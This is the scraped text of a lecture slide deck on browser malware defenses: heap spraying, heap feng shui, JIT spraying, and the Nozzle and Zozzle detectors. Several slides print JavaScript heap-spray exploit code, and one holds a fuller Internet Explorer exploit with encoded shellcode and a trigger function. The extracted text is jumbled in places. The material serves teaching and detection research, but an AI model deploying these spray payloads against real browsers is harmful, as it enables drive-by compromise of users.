malware defenses
play

MALWARE DEFENSES Ben Livshits, Microsoft Research Overview of Todays - PowerPoint PPT Presentation

MALWARE DEFENSES Ben Livshits, Microsoft Research Overview of Todays Lecture 2 Runtime Advanced attack techniques detector Heap spraying Static detector Nozzle Heap feng shui JIT spraying Drive-by malware and browsers


  1. MALWARE DEFENSES Ben Livshits, Microsoft Research

  2. Overview of Today’s Lecture 2 Runtime  Advanced attack techniques detector  Heap spraying Static detector Nozzle  Heap feng shui  JIT spraying  Drive-by malware and browsers as a Zozzle Rozzle target Browser-  Malware prevention agnostic detection

  3. Heap-Based Exploitation: 3-Step Process 3 Force the right x86  All parts are 1. code to be challenging allocated on the First can be done 1. program heap with JavaScript Second part is 2. tough Exploit 2. Third is unreliable 3. Force a jump to 3. the heap

  4. Advanced Malware Techniques 4  Heap spraying  Heap feng shui  JIT spraying

  5. Stack Overflow Exploit Stack return address NOP sled shellcode 5

  6. Heap Corruption Exploit Heap 2 jump vtable pointer NOP sled shellcode <IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBB … NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCC … &#3341;&#3341;"></IFRAME> 1 exploit 6

  7. Heap Spraying Exploit Heap sled sled sled sled sled shellcode shellcode shellcode shellcode shellcode sled sled vtable pointer shellcode shellcode sled sled sled sled shellcode shellcode shellcode shellcode 2 exploit spray jump 1 3 7

  8. How to Set Up Heap Spraying? <SCRIPT language="text/javascript"> shellcode = unescape("%u4343%u4343%...''); oneblock = unescape("%u0C0C%u0C0C"); var fullblock = oneblock; while (fullblock.length<0x40000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<1000; i++) { sprayContainer[i] = fullblock + shellcode; } </SCRIPT> 8

  9. Advanced Malware Techniques 9 Heap Feng Shui is a new technique   Heap spraying for precise manipulation of the browser heap layout using specific sequences of JavaScript allocations This is implemented as a JavaScript   Heap feng shui library with functions for setting up the heap in a controlled state before triggering a heap corruption bug Using this technique makes it   JIT spraying possible to exploit very difficult heap corruption vulnerabilities with great reliability and precision

  10. Heap Massaging 10 <script type="text/javascript"  This program allocates a 16 src=" heapLib.js "></script> byte block of memory and <script type="text/javascript"> copies the string " AAAAA " // Create a heapLib object for Internet Explorer into it var heap = new heapLib.ie();  The block is tagged with heap.gc(); // Run the garbage collector the tag foo , which is later before doing any allocations used as an argument to // Allocate 512 bytes of memory and fill it with padding free() heap.alloc(512);  The free() function frees // Allocate a new block of memory for the string "AAAAA" and tag the block with "foo" all memory blocks marked heap.alloc("AAAAA", "foo"); with this tag // Free all blocks tagged with "foo" heap.free("foo"); </script>

  11. Advanced Malware Techniques 11  Heap spraying  Heap feng shui  JIT spraying

  12. JIT Spraying: JavaScript to x86 12  Create code to generate specific memory patterns  Memory will be automatically filled as part of JITing (code generation into x86) var y = addr op imm assembly ( 0 B8 D9D0543C MOV EAX,3C54D0D9 0x3c54d0d9 ^ 5 35 5890903C XOR EAX,3C909058 0x3c909058 ^ 10 35 6AF4593C XOR EAX,3C59F46A 0x3c59f46a ^ 15 35 01C8903C XOR EAX,3C90C801 0x3c90c801 ^ 0x3c9030d9 ^ 20 35 D930903C XOR EAX,3C9030D9 0x3c53535b ^ 25 35 5B53533C XOR EAX,3C53535B ... )

  13. Malware Detection 13  How do we find malware  Static analysis  Dynamic analysis  In-browser protection  Challenges

  14. Finding Malware on a Web Scale Ben Livshits Ben Zorn Christian Seifert Charlie Curtsinger Microsoft Research Redmond, WA

  15. Blacklisting Malware in Search Results 15

  16. Drive-by Malware Detection Landscape offline online • Detection more immediate • No gap between what client (honey-monkey) (browser-based) and server can see • Instrumented browser Nozzle • Looks for heap sprays • Moderately high overhead [Usenix Security ’09] runtime static • Mostly static detection Zozzle • Low overhead, high reach • Can be deployed in browser [Usenix Security ’11] 16

  17. Brief History of Memory-Based Exploits 1995 Stack-based buffer overruns 2002 Heap-based buffer overruns 2005 Heap sprays 17

  18. Heap Spraying http://www.web2secure.com/2009/07/mozilla-firefox-35-heap-spray.html Firefox 3.5 July 14, 2009 18

  19. Drive-By Attacks: How to 0wned! 19

  20. Drive-By Heap Exploit ASLR prevents the attack Program Heap ok bad PC Creates the ok malicious object <HTML> <SCRIPT language="text/javascript"> Triggers the jump shellcode = unescape("%u4343%u4343%...''); </SCRIPT> <IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB … NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC … &#3341;&#3341;"> </IFRAME> </HTML> 20

  21. Drive-By Heap Spraying Program Heap bad ok bad bad bad bad ok bad <SCRIPT language="text/javascript"> shellcode = unescape("%u4343%u4343%...''); oneblock = unescape("%u0C0C%u0C0C"); Allocate 1,000s of var fullblock = oneblock; while (fullblock.length<0x40000) { malicious objects fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<1000; i++) { sprayContainer[i] = fullblock + shellcode; } </SCRIPT> 21

  22. < html > < body > < button id =’ butid ’ onclick= ’trigger();’ style= ’ display:none ’ /> < script > // Shellcode var shellcode=unescape( ‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1d var shellcode=unescape( ‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1d 7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148′ 7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148′ bigblock=unescape( ‚%u0D0D%u0D0D‛ ); headersize=20;shellcodesize=headersize+shellcode.length; while (bigblock.length<shellcodesize){bigblock+=bigblock;} heapshell=bigblock.substring(0,shellcodesize); nopsled=bigblock.substring(0,bigblock.length-shellcodesize); while (nopsled.length+shellcodesize<0 × 25000){nopsled=nopsled+nopsled+heapshell} // Spray var spray= new Array(); for (i=0;i<500;i++){spray[i]=nopsled+shellcode;} // Trigger function trigger(){ var varbdy = document.createElement (‘body’); varbdy.addBehavior (‘# default#userData ’); document.appendChild(varbdy); try { for (iter=0; iter<10; iter++) { varbdy.setAttribute (‘s’,window ); } } catch(e ){ } window.status +=‛; } document.getElementById (‘ butid ’). onclick(); < /script > < /body > 22 < /html >

  23. Summary: Nozzle & Zozzle Nozzle Zozzle Method Runtime Mostly static False positives 1 in a billion 1 in a ¼ million Reach Finds 1,000s of malicious URLs Goes beyond SafeBrowsing and AV detection for Bing daily 24

  24. Question of the day 25 What are the advantages and disadvantages of static vs. runtime analysis for malware detection?

  25. Nozzle: Runtime Heap Spraying Detection Normalized attack surface (NAS) good bad 26

  26. Local Malicious Object Detection Is this object dangerous? Code or Data? • Is this object code? 000000000000 add [eax], al 000000000000 add [eax], al – Code and data look the same on x86 000000000000 add [eax], al NOP • Focus on sled detection 000000000000 add [eax], al 000000000000 add [eax], al – Majority of object is sled 000000000000 add [eax], al sled – Spraying scripts build simple sleds 000000000000 add [eax], al • Is this code a NOP sled? – Previous techniques do not look at heap 0101010101 and ah, [edx] 0101010101 and ah, [edx] – Many heap objects look like NOP sleds 0101010101 and ah, [edx] 0101010101 and ah, [edx] – 80% false positive rates using previous shellcode 0101010101 and ah, [edx] techniques 0101010101 and ah, [edx] • 0101010101 and ah, [edx] Need stronger local techniques 27 27

  27. Object Surface Area Calculation (1) • Assume: attacker wants to reach shell code from jump to any point in object • Goal: find blocks that are likely to be reached via control flow • Strategy: use dataflow analysis to compute “surface area” of each block An example object from visiting google.com 28 28

  28. Object Surface Area Calculation (2) 4 4 12 • Each block starts with its own size as weight • Weights are propagated forward with flow 2 6 12 • Invalid blocks don’t propagate 3 9 4 10 12 15 • Iterate until a fixpoint is reached 2 12 12 • Compute block with highest weight 2 14 14 An example object from visiting google.com 29 29

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend